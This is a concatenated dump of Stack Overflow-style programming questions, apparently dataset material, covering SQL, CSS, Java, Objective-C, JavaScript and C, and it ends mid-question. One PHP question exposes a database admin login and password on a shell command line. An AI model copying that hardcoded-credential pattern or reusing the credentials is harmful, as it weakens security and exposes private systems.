struggling with subquery/join  please forgive my ignorance before i start but i m trying to reference the same table twice in a query to bring back a single row. for whatever reason i really struggle getting my head around the sub query/join concept. to ensure i could actually get the data i satrted with this basic query:   <pre><code>select acr   count(case when asid = 30 then 1 else null end) as wtng   case when asid = 30 then date_format(aat   %d %b %h:%i ) else null end as wat   count(case when datediff(ac  curdate()) &lt;=30 and asid != 30 then 1 else null end) as rpt   case when datediff(ac  curdate()) &lt;=30 and asid != 30 then date_format(aat   %d %b %h:%i ) else null end as rat  from a  where acr = 1111111111 and ahid = 44 group by aid </code></pre>   which gave me this   <pre><code>        acr     |  wtng    |      wat     |  rpt  |      rat -------------------------------------------------------------------     1111111111  |    0     |     null     |   1   |  16 sep 12:39     1111111111  |    1     | 17 sep 17:59 |   0   |      null </code></pre>   this is the right data but i need it on a single row thus:   <pre><code>        acr     |  wtng    |      wat     |  rpt  |      rat -------------------------------------------------------------------     1111111111  |    1     | 17 sep 17:59 |   1   |  16 sep 12:39 </code></pre>   the may be times when there is no match against acr and therefore no row returned but i need a row returning if wtng is 1  rpt is 1 or both are 1... and this is where i m really struggling. i ve tried  many subquery combinations but just can t seem to get it so i m looking for help... apologies in advance if this is a really dumb question or if i m missing the completely obvious but right now i feel as though i m just going round in circles...    really appreciate the down vote  whoever it was - it makes learning so much more fun,mysql
download exe file from the given url  i have an exe file at a specific url. now i want to download it in my pc. so i can do this   i can stream a txt file to save it in pc but unable to do this if its an exe file   <pre><code>url url = new url( http://torrentz.eu/announcelist_117110776 );    url.openconnection();        try (inputstream reader = url.openstream()) {            fileoutputstream writer = new fileoutputstream( t12.txt );           byte[] buffer = new byte[153600];           int bytesread = 0;           while ((bytesread = reader.read(buffer)) &gt; 0)           {                writer.write(buffer  0  bytesread);              buffer = new byte[153600];           }           writer.close();       }   </code></pre>   the url where my exe resides is   <a href= http://jobnews.netii.net/calc.exe  rel= nofollow >http://jobnews.netii.net/calc.exe</a>,java
pythonic way to find index of n th occurance of a value in a list   here is my list   <pre><code>list=[1 2 1 1 1 1 1 4 5] </code></pre>   now i want to know the index of 5th  1  in a pythonic way.,python
mysql performance: raw query vs. stored procedure  as i know there is know significant performance difference between raw queries and stored procedures in mssql (for example  query plans are cached in the same way for both). but what about mysql,mysql
"make div float to the bottom instead on top  i have two div s  first one is auto width (the content)  second one is fixed width.     when the screen gets too narrow/window scaled  the fixed width div goes on the top and becomes 100% width as well. i would like to replicate this  but <strong>i want the fixed div to go on the bottom  not top  when browser gets too narrow</strong>. how can i accomplish this  thanks.    (please check in  full-page  mode) <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.container-wrapper
 {
     overflow:   hidden;    
 }
 
 .fixed-right
 {
    overflow:     hidden;
    min-height:   100px;
    min-width:    400px;
    float:        right;
 }
 
 .auto-left
 {
    overflow:     hidden;
    min-height:   100px;
 }
 
 .fancy
 {
    border-radius: 2px;
    background-color:lightgray;
    margin-left: 5px;
    padding: 5px;
 }
 
   @media 
   only screen and (max-width: 764px)  (min-device-width: 764px) and (max-device-width: 1024px)  
   {
        .fixed-right
        {
           float:          none;
           width:          auto;
           margin-left:    0px;
           margin-bottom:  5px;
         }
   }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container-wrapper &gt;
   &lt;div class= fixed-right fancy &gt;
    fixed&amp;nbsp;
   &lt;/div&gt;
 
   &lt;div class= auto-left fancy &gt;
    auto&amp;nbsp;
   &lt;/div&gt;
  &lt;/div&gt;</code></pre>
 </div>
 </div>",css
objective-c code explaination  can anyone help explain why i can t have an else if following an if  the error is saying expected expression but i don t know what it means by that    // declaring variables as integers         int account  depamount  withamount;   <pre><code>    account *account1=[[account alloc] init];      // prompt user to input account number     nslog(@ please input your account number here:  );     scanf( %i   &amp;account); // accept user input      if (account==1000)         nslog(@ how much do you want to deposit:  );         scanf( %i   &amp;depamount);          [account1 setaccountnumber: account];         [account1 setbegbalance: 900.50];         [account1 adddeposit: depamount];          nslog(@ how much do you want to withdrawl:  );         scanf( %i   &amp;withamount);         [account1 setnewbegbalance: 900.50 + depamount];         [account1 subtractwithdrawal: withamount];      nslog(@ your account number is: %i\nbeginning balance: %f\nnew balance is: %f   [account1 accountnumber]  [account1 begbalance]  [account1 newbalance]);      else if (account==2000)         nslog(@ how much do you want to deposit:  );         scanf( %i   &amp;depamount);          [account1 setaccountnumber: account];         [account1 setbegbalance: 700.75];         [account1 adddeposit: depamount];          nslog(@ your account number is: %i\nbeginning balance: %f\nnew balance is: %f   [account1 accountnumber]  [account1 begbalance]  [account1 newbalance]);      else if (account==3000)         nslog(@ how much do you want to deposit:  );         scanf( %i   &amp;depamount); </code></pre>,objective-c
best practice: treating first element different than the others while looping over a collection <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/10502503/detecting-the-first-iteration-through-a-for-each-loop-in-java >detecting the first iteration through a for-each loop in java</a>    </blockquote>     hi while looping over a collection i want to find the smartest way to generate different behavior on only the first element in the collection. i m faced with this problem very often and feel like my solution is not the best:   <pre><code>boolean first = true; for(string foo: foos) {    if(first) {      // do first behavior      first = false;      continue;    }    // do normal behaviour } </code></pre>   i m wondering are there any other smarter approaches than this,java
access { get set } property methods  without reflection  i want to be able to access the <code>void set_propertyname(var value)</code> and <code>var get_property()</code> methods of a property.    is there any way of doing this <strong>without</strong> reflection  and without getting <a href= http://msdn.microsoft.com/query/dev10.query appid=dev10idef1&amp;l=en-us&amp;k=k%28cs0571%29%3bk%28targetframeworkmoniker-%22.netframework%2cversion%3dv4.0%22%29&amp;rd=true  rel= nofollow ><code>compiler error cs0571</code></a>.    <strong>edit</strong> by without reflection i meant without the overhead of what reflection does (not just having to write the code)  since this is code that needs to be run lots of times i want it without the overhead of reflection. dynamic also uses reflection under the covers unfortunately.    it seems this might be possible with c++.net but not with the other languages (though i can t tell because my installation of c++ is stuffed up).    thanks for your responses.,.net
add character or special character in nstring   i have an nsstring *string=@ 606  and i want to add a  :  colon after two digits.<br> the output should look like this: <code>6:06</code><br> it this is possible       help would be appropriated.<br> thank you very much.,iphone
how to get contact from iphone simulator  i want to get all contact details from the iphone simulator  i have already read different questions related to this question  still i am not able to do the job. i am new to iphone programming   so help me from the scratch. give me any link for tutorial that defines all things step by step.,iphone
how to sum date column(hh:mm:ss)  i have column name as time-diff. this column differences by two dates.    i need to sum all time-diff columns like total spent of hours.    it would be like    <pre><code>time-diff 00:30:00 00.10:00 01.00.00  i get like this:  convert(char(8)  cast(convert(varchar(23) dateout 121) as datetime)- cast(convert(varchar(23) datein 121)as datetime) 8) time-diff </code></pre>   i need to sum time-diff column as like below:   <pre><code>the output should be:01:40:00 </code></pre>   thanks in advance..,sql
onblur returns wrong data  my form check does not work. if i leave alias field empty it returns name field as filled.   <pre><code>var alias = document.getelementbyid( alias ); var name = document.getelementbyid( name ); var status =   ;  function checkit() {     if (alias.value !=   ) {         document.getelementbyid( alias ).style.bordercolor =  #3c763d ;         return true;     } else {         document.getelementbyid( alias ).style.bordercolor =  #a94442 ;         status = false;     }     if (name.value !=   ) {         document.getelementbyid( name ).style.bordercolor =  #3c763d ;         return true;     } else {         document.getelementbyid( name ).style.bordercolor =  #a94442 ;         status = false;     } }  name.onblur=checkit; alias.onblur=checkit; </code></pre>,javascript
galaxy grand prime - app.oncreate() called too often   steps to reproduce:   <ol> <li>enable  don t keep activities  developer option</li> <li>start any app  press home button - all activities are destroyed</li> <li>tap app s icon - app resumes and its application.oncreate() method is called.</li> </ol>   it looks like app exits every time all of its activities are destroyed  even though the app shows in the list of recent processes.    is this a bug     <strong>edit</strong>: i rebooted the device and now it behaves normally. other things that were wrong before reboot: some installed apps icons didn t show on desktop and some app names were wrong.    android version: 5.1.1 kernel 3.14.27-1070395 build lmy48b.g531fxxu1apg2,android
how to traverse a javascript array/object  i am having a hard time trying to get my data from this array. can someone please tell me how to do this     i need to get the <code>latlng</code> and <code>adminarea4</code> from within the <code>locations</code> for an autocomplete.    can someone please explain the difference between the <code>{}</code> and <code>[]</code>. from what i know  one is an array and the other an object but i am not sure if this is right. is the process different from traversing an array than an object    <pre><code>{     results : [       {           locations : [             {                 latlng : {                    lng : 24.873108                     lat : 59.389755                }                  adminarea4 :  harju maakond                   adminarea5type :  city                   adminarea4type :  county                   adminarea5 :  rae vald                   street :                     adminarea1 :  ee                   adminarea3 :                     type :  s                   displaylatlng : {                    lng : 24.873108                     lat : 59.389755                }                  linkid : 0                  postalcode :                     sideofstreet :  n                   dragpoint : false                  adminarea1type :  country                   geocodequality :  city                   geocodequalitycode :  a5xxx                   adminarea3type :  state              }              {                 latlng : {                    lng : 24.860184                     lat : 59.38493                }                  adminarea4 :  harju maakond                   adminarea5type :  city                   adminarea4type :  county                   adminarea5 :  rae                   street :                     adminarea1 :  ee                   adminarea3 :                     type :  s                   displaylatlng : {                    lng : 24.860184                     lat : 59.38493                }                  linkid : 0                  postalcode :                     sideofstreet :  n                   dragpoint : false                  adminarea1type :  country                   geocodequality :  city                   geocodequalitycode :  a5xxx                   adminarea3type :  state              }           ]       }    ] } </code></pre>,javascript
how to call the java jar along with sql credentials & its parameter in c# winforms   how to call the java jar along with <code>sql</code> credentials &amp; its parameter in <code>c#</code> winforms  (i have done the report in <code>nextreports</code>  to the integrate the <code>nextreports</code>. i am finding the difficulties) below mentioned is my <code>php</code>. in <code>php</code> code is working fine.   <pre><code> &lt; php echo  &lt;pre&gt; ;                    $last_line = system( java -jar                                                                c:\users\prakash\documents\netbeansprojects\simplexjava\simplex_next_reports\si    mplexjava.jar   prakash-pc sqlserver simplex_almuhaisnah3103 sql2012  192.168.2.50 1433 sa intuit@321                       c:\users\prakash\documents\netbeansprojects\simplexjava\simplex_next_reports\rp    t_billwisetotal.report  html  2015-01-01 00:00:00 2015-10-01 00:00:00       $retval);     // printing additional info     echo       &lt;/pre&gt;     &lt;hr /&gt;last line of the output:   . $last_line .       &lt;hr /&gt;return value:   . $retval;   &gt; </code></pre>,c#
c# access to path denied  hey guys so i m working on a program it deletes certain directories files  mostly temp files  except i get an error even know i added a catch block. the system.unauthorizedaccessexception. on the catch ioexception i get the error there:   <pre><code>private void deleteinternetfiles(string internetdirectory) {     directoryinfo internettempstorage = new directoryinfo(internetdirectory);     try     {         //this will delete files         foreach (fileinfo getnetfileinfo in internettempstorage.getfiles())         {             getnetfileinfo.delete();         }          //this will loop through and delete folders         foreach (directoryinfo tempdirectoryinformation in internettempstorage.getdirectories())         {                      tempdirectoryinformation.delete();         }     }      //catch io exception and try delete file again     catch (ioexception)     {         //delete file in this directory         file.delete(internetdirectory);          //delete folders in this directory         directory.delete(internetdirectory);     }      //catch access exception and delete file again     catch (unauthorizedaccessexception)     {         //delete file in this directory         file.delete(internetdirectory);          //delete folders in this directory         directory.delete(internetdirectory);      } } </code></pre>   and this one below is how i call the method:   <pre><code>if (checkbox1.checked) {     deleteinternetfiles(@ c:\users\  + environment.username + @  \appdata\local\microsoft\windows\temporary internet files ); } </code></pre>,c#
defined class gives undefined class error  i m getting an undefined method for the methods showtotal  problem even though the method is defined.    <pre><code>public class test { public static void main(string[] args) {  scanner sc = new scanner(system.in);  string command ;  machine m = null;     while(true)     {         system.out.println( enter your command );         command = sc.next();         string[] commands = command.split(   );         if (commands[0] ==  create  )         {            m = new machine (commands[1] commands[2]);         }          else if (commands[0] ==  total  )         {             m.showtotal();         }        } } } </code></pre>,java
the first test case passed but 2nd test case s output went to an infinite loop. and only evaluating before the # part of the string (2nd test case)  question:- write a program that replaces the occurence of a given character (say c) in a primary string (say ps) with another string (say s).    input: the first line contains the primary string (ps) the next line contains a character (c) the next line contains a string (s)    output: print the string ps with every occurence of c replaced by s.    note:  - there are no whitespaces in ps or s.   - maximum length of ps is 100.  - maximum length of s is 10.    test case-    <pre><code>1) input:  abcxy b gh  output:- aghxy  2) input:  al@bal#20owl l ll  output:- all@ball#20owl </code></pre>   this is the code i wrote:   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; int main() { char ps[105]; char final[105]; char ch; int i; fgets(ps  sizeof(ps)  stdin); scanf( %c  &amp;ch); scanf( %s  final); for(i=0;i&lt;strlen(ps);i++)     {     if(ps[i]==ch)     {     for(i=0;i&lt;strlen(final);i++)     printf( %c  final[i]);     }         else     printf( %c  ps[i]);     }   return 0; </code></pre>   },c
send an sms and have a confirmation of sending with the native sms application  i use in my application  the application sms of android and i would like to have a return when the message is sent:     <a href= https://i.stack.imgur.com/e50kc.png  rel= nofollow noreferrer >sms activity</a>    <a href= https://i.stack.imgur.com/i9b06.png  rel= nofollow noreferrer >onresult methode</a>    my code :    activityresult return nothink   i dont understand. i just want to know when button send is pressed or when message is send .  :),android
number constructor javascript  how can we use number constructor to solve the problem below     write a function that converts a number to a euro string on top of the number constructor     so we can test function like <code>(100).toeurostring()</code>,javascript
solving a linear equation with jquery  i don t know how to solve the following linear equation with jquery.    12.5x = 20 + x + (20 + x)/10 (note that 12.5  20  and 10 are numbers provided by user)    is there a way in jquery to get x  thank you very much,javascript
trying to have 2 drop down boxes point to a url  so i am trying to have a page on my site that contains 2 drop down boxes and a submit button. the submit button will point to a url when clicked and then that will take them to a new page. the url will be based on whatever is selected in the drop down menus.    for example: drop down 1 has options a and b drop down 2 has options 1 and 2    then there would be a different url for each combination a1 points to url-1 a2 points to url-2 b1 points to url-3 b2 points to url-4    i really don t know much about coding and have been searching for a way to do this for the last 3 hours and i just don t even know how to google it. i really appreciate any help i can get at this point. thank you in advance! :)    here is the code from my drop boxes. i edited the options to match the example with the a  b  1  and 2.    <pre><code>&lt;html&gt; &lt;body&gt; &lt;form&gt; &lt;select id= list1t &gt;   &lt;option&gt;select one&lt;/option&gt;   &lt;option&gt;a&lt;/option&gt;   &lt;option&gt;b&lt;/option&gt; &lt;/select&gt; &lt;/form&gt; &lt;form&gt; &lt;select id= list2 &gt;   &lt;option&gt;select one&lt;/option&gt;   &lt;option&gt;1&lt;/option&gt;   &lt;option&gt;2&lt;/option&gt; &lt;/select&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
randomly moving a object using swing component  i have created a square using swing components that moves right  left  up and down when clicked by buttons assigned to them. now i am trying to move this object in a random fashion when clicked. this is my code.   <pre><code>import java.awt.*; import java.awt.event.*; import javax.swing.*;  @suppresswarnings( serial ) public class movingobjects extends jframe      implements actionlistener {  //    gui code omitted here...      @suppresswarnings( unused )     private jbutton button  leftbutton rightbutton upbutton downbutton;     private jpanel panel redpanel;     int x =10;     int y=10;             public static void main (string[] args) {         movingobjects frame = new movingobjects();         frame.setsize(400  300);         frame.creategui();         frame.show();         frame.getcontentpane().setbackground(color.blue);      }      private void creategui() {         setdefaultcloseoperation(exit_on_close);         container window = getcontentpane();         window.setlayout(new flowlayout() );          panel = new jpanel();         panel.setpreferredsize(new dimension(300  200));         panel.setbackground(color.black);         window.add(panel);          redpanel = new jpanel();         redpanel.setbackground(color.red);         redpanel.setlocation(x  y);         redpanel.setsize(50  50);         panel.add(redpanel);           leftbutton = new jbutton( move left );         leftbutton.addactionlistener(this);         window.add(leftbutton);          rightbutton = new jbutton( move right );         rightbutton.addactionlistener(this);         window.add(rightbutton);          upbutton = new jbutton( move up );         upbutton.setlocation(260  60);         upbutton.setsize(100  30);         upbutton.addactionlistener(this);         window.add(upbutton);           downbutton = new jbutton( move down );         downbutton.addactionlistener(this);         window.add(downbutton);      }       public void actionperformed(actionevent event) {          //move down          if (event.getsource() == downbutton)             {              if (y &lt; 180){              y=y+20;                   redpanel.setlocation(x  y);               }             }          //move up              if (event.getsource() == upbutton)                {             if (y &gt; 10){              y=y-20;                   redpanel.setlocation(x  y);             }              }          //move left              if (event.getsource() == leftbutton)              {              if (x &gt; 10){              x=x-20;                   redpanel.setlocation(x  y);               }              }          //move right              if (event.getsource() == rightbutton)              {              if (x &lt; 280){              x=x+20;              redpanel.setlocation(x  y);                 }              }      }       } </code></pre>,java
css: 100% height not working on div with display: table  i have a problem which causes headache for me for hours now. i have the following html:   <pre><code>&lt;ion-view class= menu-content  view-title= postkarte &gt;     &lt;ion-content&gt;         &lt;div class= postcard-container &gt;             &lt;div class= postcard &gt;              &lt;/div&gt;         &lt;/div&gt;     &lt;/ion-content&gt; &lt;/ion-view&gt; </code></pre>   and the following css:   <pre><code>.postcard-container {     display: table;     position: absolute;     background-color: yellow;     height: 100%;     width: 100%; }  .postcard {     display: table-cell;     vertical-align: middle;     background-position: center center;     background-image: url( ../img/frames/postcard_00.png );     background-size: contain;     background-repeat: no-repeat; } </code></pre>   the result is this:    <a href= https://i.stack.imgur.com/gquza.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gquza.png  alt= enter image description here ></a>    so the 100% width is working but the 100% height is ignored. why,css
leap year calculation - homework <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int what_year;      cout &lt;&lt;  enter calendar year  ;     cin &gt;&gt; what_year;      if (what_year - (n * 4) = 0 ) {          cout &lt;&lt;  leap year ;     }      else     {         cout &lt;&lt;  wont work ;     }      system( pause );     return 0; } </code></pre>   trying to make a program for class  to find a leap year.. not sure how to ask c++ if an integer is divisible by a number,c++
undefined reference to extern class   when using extern on classes it is giving me undefined reference  but when i make the function i m calling from that class  static  it works fine.     is there anyway to do it without using a static member function     my test code:   <pre><code>#include &lt;iostream&gt;  class myclass {     public:         void print() { std::clog &lt;&lt;  print()  &lt;&lt; std::endl; } };  extern myclass *g_myclass;  int main() {     g_myclass-&gt;print();     return 0; } </code></pre>   error:   <pre><code>main.o:main.cpp:(.text+0x129): undefined reference to `_g_myclass  </code></pre>   in the actual code i m getting a segmentation fault.    backtrace:   <pre><code>program received signal sigsegv  segmentation fault. 0x00465af2 in std::_rb_tree&lt;irc::config::config_t  std::pair&lt;irc::config::config _t const  std::string&gt;  std::_select1st&lt;std::pair&lt;irc::config::config_t const  s td::string&gt; &gt;  std::less&lt;irc::config::config_t&gt;  std::allocator&lt;std::pair&lt;irc::c onfig::config_t const  std::string&gt; &gt; &gt;::_m_begin (this=0x0)     at c:/qt/2010.04/mingw/bin/../lib/gcc/mingw32/4.4.0/include/c++/bits/stl_tre e.h:482 482           { return static_cast&lt;_link_type&gt;(this-&gt;_m_impl._m_header._m_parent ); } (gdb) bt #0  0x00465af2 in std::_rb_tree&lt;irc::config::config_t  std::pair&lt;irc::config::co nfig_t const  std::string&gt;  std::_select1st&lt;std::pair&lt;irc::config::config_t cons t  std::string&gt; &gt;  std::less&lt;irc::config::config_t&gt;  std::allocator&lt;std::pair&lt;ir c::config::config_t const  std::string&gt; &gt; &gt;::_m_begin (this=0x0)     at c:/qt/2010.04/mingw/bin/../lib/gcc/mingw32/4.4.0/include/c++/bits/stl_tre e.h:482 #1  0x0046596b in std::_rb_tree&lt;irc::config::config_t  std::pair&lt;irc::config::co nfig_t const  std::string&gt;  std::_select1st&lt;std::pair&lt;irc::config::config_t cons t  std::string&gt; &gt;  std::less&lt;irc::config::config_t&gt;  std::allocator&lt;std::pair&lt;ir c::config::config_t const  std::string&gt; &gt; &gt;::find (this=0x0  __k=@0x22fe40)     at c:/qt/2010.04/mingw/bin/../lib/gcc/mingw32/4.4.0/include/c++/bits/stl_tre e.h:1421 #2  0x0045ec7c in std::map&lt;irc::config::config_t  std::string  std::less&lt;irc::co nfig::config_t&gt;  std::allocator&lt;std::pair&lt;irc::config::config_t const  std::stri ng&gt; &gt; &gt;::find (this=0x0  __x=@0x22fe40)     at c:/qt/2010.04/mingw/bin/../lib/gcc/mingw32/4.4.0/include/c++/bits/stl_map .h:659 #3  0x0040d376 in irc::config::getint (this=0x0  arg=1) at configreader.cpp:72 #4  0x00405656 in irc::database::connect (this=0x483300) at database.cpp:30 #5  0x00406965 in main (argc=1  argv=0x3d3e18) at main.cpp:26 (gdb) </code></pre>,c++
saving and retrieving data from nsmutablearray  i have a nsmutablearray holding string data.      i want to save my data.  when i turn off the application and relaunch the application my saved data need to be presented.    and i need to know where the file saved.,iphone
bcl and fcl - both are namespaces   i need a clarity regarding class libraries.<br> <code>base class libraries</code> and <code>framework class libraries</code> both are comes under namespaces-i mean can we call both are namespaces  if not which one we can call as a <code>namespace</code> and why,.net
adjust custom cursor size  i got a problem with .cur files.    i m setting the cursor in a behavior of a window to some custom cursor:   <pre><code> mouse.overridecursor = (cursor)massociatedobject.resources[ movecursor ]; </code></pre>   in the window i got the cursor defined as a resource:   <pre><code>  &lt;cursor x:key= movecursor &gt;resources/cur2.cur&lt;/cursor&gt; </code></pre>   this works fine.    problem is if the user changes his cursor size in the windows settings  my cursor will still be of size 32x32.    does anybody know a solution for this     thank you,c#
how to fix error in joining two tables together  this is my first time ever working with sql and my first task is joining two tables together. i saw a similar example of how its done which worked and tried it for this example but it did not work. i am not sure why i am getting an error    <pre><code>select os.city_id          os.park_id as slide_id from om_slide as os where os.city_id = 12 left join ga_park gt on (os.park_id=gt.park_id) </code></pre>   i know it works up to the where os.city_id = 12. that gives me a result. just my left statement is not working and i do not know why,sql
in .net does  using  do what we re led to believe it does   i was reading a forum recently  and saw this comment:   <blockquote>    so  you see you ve been duped into   believing that the  using  syntax is   going to help clean up your resources   for you.  oh well  welcome to .net   development.  </blockquote>   this has really freaked me out!  i use using almost exclusively over .dispose() in nearly all cases (streams especially).  is there some weird thing with  using  that no one has told me   is it good or bad or indifferent to use,.net
uipickerview&actionsheet  i try to make a pickerview with actionsheet.the code is ok in x-code  but crash will occur when i run it and press the  button   please help to check what have i missed     thank you.    <strong>here is the .h file</strong>   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface uipickerview_actionsheetviewcontroller : uiviewcontroller &lt;uiactionsheetdelegate  uipickerviewdelegate&gt; {     iboutlet uibutton *button; }  @property (nonatomic  retain) uibutton *button;  - (ibaction)buttonpressed;  @end </code></pre>   <strong>here is the .m file</strong>   <pre><code>#import  uipickerview_actionsheetviewcontroller.h   @implementation uipickerview_actionsheetviewcontroller  @synthesize button;  - (ibaction)buttonpressed {     uiactionsheet *menu = [[uiactionsheet alloc] initwithtitle:@ currentdata                                                    delegate:self                                           cancelbuttontitle:@ done                                      destructivebuttontitle:@ cancel                                            otherbuttontitles:nil];       uipickerview *pickerview = [[uipickerview alloc]initwithframe:cgrectmake(0 40 480 200)];      pickerview.delegate = self;      pickerview.showsselectionindicator = yes;           [menu addsubview:pickerview];      [menu showinview:self.view];      [menu setbounds:cgrectmake(0 0 480  320)];      [pickerview release];      [menu release]; }  - (void)dealloc {     [button release];     [super dealloc]; }  - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }  - (void)viewdidunload {     self.button=nil;     [super viewdidunload];     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // return yes for supported orientations     return (interfaceorientation == uiinterfaceorientationportrait); }  @end </code></pre>   crash on <strong>int retval = uiapplicationmain(argc  argv  nil  nil);</strong>   <pre><code>#import &lt;uikit/uikit.h&gt;  int main(int argc  char *argv[]) {     nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];     int retval = uiapplicationmain(argc  argv  nil  nil);     [pool release];     return retval; } </code></pre>   crash info   <pre><code>#0  0x9631817a in __kill () #1  0x9631816c in kill$unix2003 () #2  0x963aa879 in raise () #3  0x963c09b8 in abort () #4  0x9619dfda in __gnu_cxx::__verbose_terminate_handler () #5  0x00f1c23b in _objc_terminate () #6  0x9619c17a in __cxxabiv1::__terminate () #7  0x9619c1ba in std::terminate () #8  0x9619c2b8 in __cxa_throw () #9  0x00f1c416 in objc_exception_throw () #10 0x00dca0bb in -[nsobject(nsobject) doesnotrecognizeselector:] () #11 0x00d39966 in ___forwarding___ () #12 0x00d39522 in __forwarding_prep_0___ () #13 0x0001a4fd in -[uiapplication sendaction:to:from:forevent:] () #14 0x000aa799 in -[uicontrol sendaction:to:forevent:] () #15 0x000acc2b in -[uicontrol(internal) _sendactionsforevents:withevent:] () #16 0x000ab7d8 in -[uicontrol touchesended:withevent:] () #17 0x0003eded in -[uiwindow _sendtouchesforevent:] () #18 0x0001fc37 in -[uiapplication sendevent:] () #19 0x00024f2e in _uiapplicationhandleevent () #20 0x01001992 in purpleeventcallback () #21 0x00da9944 in __cfrunloop_is_calling_out_to_a_source1_perform_function__ () #22 0x00d09cf7 in __cfrunloopdosource1 () #23 0x00d06f83 in __cfrunlooprun () #24 0x00d06840 in cfrunlooprunspecific () #25 0x00d06761 in cfrunloopruninmode () #26 0x010001c4 in gseventrunmodal () #27 0x01000289 in gseventrun () #28 0x00028c93 in uiapplicationmain () #29 0x00001c09 in main (argc=1  argv=0xbfffef8c) at main.m:14 </code></pre>   maybe this can help more   <pre><code>attaching to process 606. 2011-12-10 06:37:08.456 uipickerview_actionsheet[606:207] -[uipickerview_actionsheetviewcontroller datepickerview]: unrecognized selector sent to instance 0x602dfb0 2011-12-10 06:37:08.458 uipickerview_actionsheet[606:207] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uipickerview_actionsheetviewcontroller datepickerview]: unrecognized selector sent to instance 0x602dfb0  *** call stack at first throw: (     0   corefoundation                      0x00dc85a9 __exceptionpreprocess + 185     1   libobjc.a.dylib                     0x00f1c313 objc_exception_throw + 44     2   corefoundation                      0x00dca0bb -[nsobject(nsobject) doesnotrecognizeselector:] + 187     3   corefoundation                      0x00d39966 ___forwarding___ + 966     4   corefoundation                      0x00d39522 _cf_forwarding_prep_0 + 50     5   uikit                               0x0001a4fd -[uiapplication sendaction:to:from:forevent:] + 119     6   uikit                               0x000aa799 -[uicontrol sendaction:to:forevent:] + 67     7   uikit                               0x000acc2b -[uicontrol(internal) _sendactionsforevents:withevent:] + 527     8   uikit                               0x000ab7d8 -[uicontrol touchesended:withevent:] + 458     9   uikit                               0x0003eded -[uiwindow _sendtouchesforevent:] + 567     10  uikit                               0x0001fc37 -[uiapplication sendevent:] + 447     11  uikit                               0x00024f2e _uiapplicationhandleevent + 7576     12  graphicsservices                    0x01001992 purpleeventcallback + 1550     13  corefoundation                      0x00da9944 __cfrunloop_is_calling_out_to_a_source1_perform_function__ + 52     14  corefoundation                      0x00d09cf7 __cfrunloopdosource1 + 215     15  corefoundation                      0x00d06f83 __cfrunlooprun + 979     16  corefoundation                      0x00d06840 cfrunlooprunspecific + 208     17  corefoundation                      0x00d06761 cfrunloopruninmode + 97     18  graphicsservices                    0x010001c4 gseventrunmodal + 217     19  graphicsservices                    0x01000289 gseventrun + 115     20  uikit                               0x00028c93 uiapplicationmain + 1160     21  uipickerview_actionsheet            0x00001cf9 main + 121     22  uipickerview_actionsheet            0x00001c75 start + 53 ) terminate called after throwing an instance of  nsexception  current language:  auto; currently objective-c </code></pre>,objective-c
heterogeneous dictionary  but typed   this is more of an academic inquiry than a practical question.  are there any language or framework features that can  or will in future  allow a heterogeneous typed dcitionary  e.g.    <pre><code>mydict.add( name    bill );  mydict.add( height   1.2);  </code></pre>   where mydict now contains not two <code>object</code> types as values  but one <code>string</code> and one <code>double</code>   i could then retrieve my <code>double</code> with    <pre><code>double dbl = mydict[ height ]; </code></pre>   and expect a double or an exception to be thrown     please note:  the name and height values are not necessarily of the same object.,.net
php get function as null  i want to use get in php and i know how to. the only problem is when i start my page i dont have a  var=... on it. for example my site is    <pre><code>http://localhost/q/question.php </code></pre>   and in my code is   <pre><code>$num = $_get[ num ]; </code></pre>   and i want to assume that if $num == null or has not been defined as in the link above.    i will generate a different page. because as example below just determines i am starting the questions in what ever page.    no num variable = start generating questions in array.   <pre><code>http://localhost/q/question.php num=1 </code></pre>,php
force image download jquery  i have been working with the code below to force images to download. yes i m aware of the html5 attribute but it does not work for all browsers. my problem seems to be with the execute the actual button that calls the function   <pre><code>    function savetodisk(fileurl  filename) {         // for non-ie         if (!window.activexobject) {             var save = document.createelement( a );             save.href = fileurl;             save.target =  _blank ;             save.download = filename ||  unknown ;              var event = document.createevent( event );             event.initevent( click   true  true);             save.dispatchevent(event);             (window.url || window.webkiturl).revokeobjecturl(save.href);         }          // for ie         else if ( !! window.activexobject &amp;&amp; document.execcommand)     {             var _window = window.open(fileurl   _blank );             _window.document.close();             _window.document.execcommand( saveas   true  filename || fileurl)             _window.close();         }      // ie 11     try {         var evt = new mouseevent( click ); } catch (e) {         window.open(fileurl  filename);  }  } </code></pre>   just a test image it will be a photo.jpg when done.   <pre><code>&lt;button style= width: 100px; height: 50px;  onclick=savetodisk(&lt; php echo $imagelarge[0];  &gt;http://lorempixel.com/400/200/);&gt;&lt;/button&gt; </code></pre>,jquery
how to merge two files using python  i want to merge two files. the code should sum the second line of both files (input1.txt and input2.txt)  write to a file (final.txt) the result of that summation  append all lines starting with  1mol  in the input2.txt to the final.txt  and finally append all lines (except first two lines) in the input1.txt to the final.txt. my code only writes  18  (the sum of the second lines in both input files) to the final.txt. how can i fix my code     <strong>input1.txt</strong>   <pre><code>molecule in solvent 13     1met      n    1   4.761   6.470   2.128     1met     h1    2   4.749   6.567   2.153     1met     h2    3   4.833   6.430   2.184     1met     h3    4   4.785   6.464   2.031     1met     ca    5   4.636   6.399   2.152     1met     ha    6   4.567   6.442   2.093     1met     cb    7   4.651   6.250   2.113     1met    hb1    8   4.730   6.213   2.162     1met    hb2    9   4.667   6.244   2.015     1met     cg   10   4.530   6.163   2.147     1met    hg1   11   4.452   6.219   2.119     1met    hg2   12   4.532   6.156   2.247     1met     sd   13   4.524   5.998   2.070  spc.itp </code></pre>   <strong>input2.txt:</strong>   <pre><code>gallium rubidium    5     1mol     cl    1   2.131   2.473   6.188     1mol      p    2   1.714   2.422   6.273     